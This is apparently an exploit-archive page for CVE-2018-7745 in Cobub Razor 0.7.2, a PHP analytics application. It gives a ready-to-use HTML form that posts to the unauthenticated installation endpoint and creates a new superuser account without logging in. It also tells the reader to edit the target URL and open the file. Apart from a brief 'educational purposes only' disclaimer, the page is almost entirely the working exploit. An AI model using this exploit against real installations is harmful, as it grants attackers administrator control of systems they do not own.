Cobub razor 0.7.2 add new superuser account Vulnerability / Exploit

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Exploits / Vulnerability Discovered : 2018-04-09 | Type : webapps | Platform : php
This exploit / vulnerability Cobub razor 0.7.2 add new superuser account is for educational purposes only and if it is used you will do on your own risk!

[+] Code ...

# Exploit Title: [Cobub Razor 0.7.2 Add New Superuser User]
# Date: [2018-03-07]
# Exploit Author: [ppb（ppb@5ecurity.cn）]
# Vendor Homepage: [https://github.com/cobub/razor/]
# Software Link: [https://github.com/cobub/razor/]
# Version: [0.72]
# CVE : [CVE-2018-7745]

There is a vulnerability that can add an admnistrator user without login.
update the url and save to html ，then open it.

<html>
<body>
<script>history.pushState('', '', '/')</script>
<form action="http://127.0.0.1/index.php?/install/installation/createuserinfo" method="POST">
<input type="hidden" name="siteurl" value="http://127.0.0.1/" />
<input type="hidden" name="superuser" value="test" />
<input type="hidden" name="pwd" value="test123" />
<input type="hidden" name="verifypassword" value="test123" />
<input type="hidden" name="email" value="12@qq.com" />
<input type="submit" value="Submit request" />
</form>
</body>
</html>